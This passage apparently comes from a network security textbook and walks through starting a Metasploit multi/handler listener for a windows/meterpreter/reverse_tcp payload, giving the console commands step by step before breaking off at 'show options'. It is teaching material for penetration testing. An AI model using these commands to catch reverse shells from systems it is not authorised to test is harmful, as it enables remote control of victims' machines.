Applied Network Security

Starting the listener

First, we need to start our listener:

1. Open Metasploit by typing msfconsole.
2. Type use exploit/multi/handler.
3. As stated before, we will be using meterpreter reverse_tcp payload. To set the payload, type the following:

      set payload windows /meterpreter/reverse_tcp

This module doesn't have any settings that we can touch by default, so we need to add a payload. This tells the module what sort of reverse shell we're listening for; it'll help manage it for us:

• use exploit/multi/handler: handles the incoming connection
• set payload windows/meterpreter/reverse_tcp: reverses the TCP payload
• show options: shows the available ...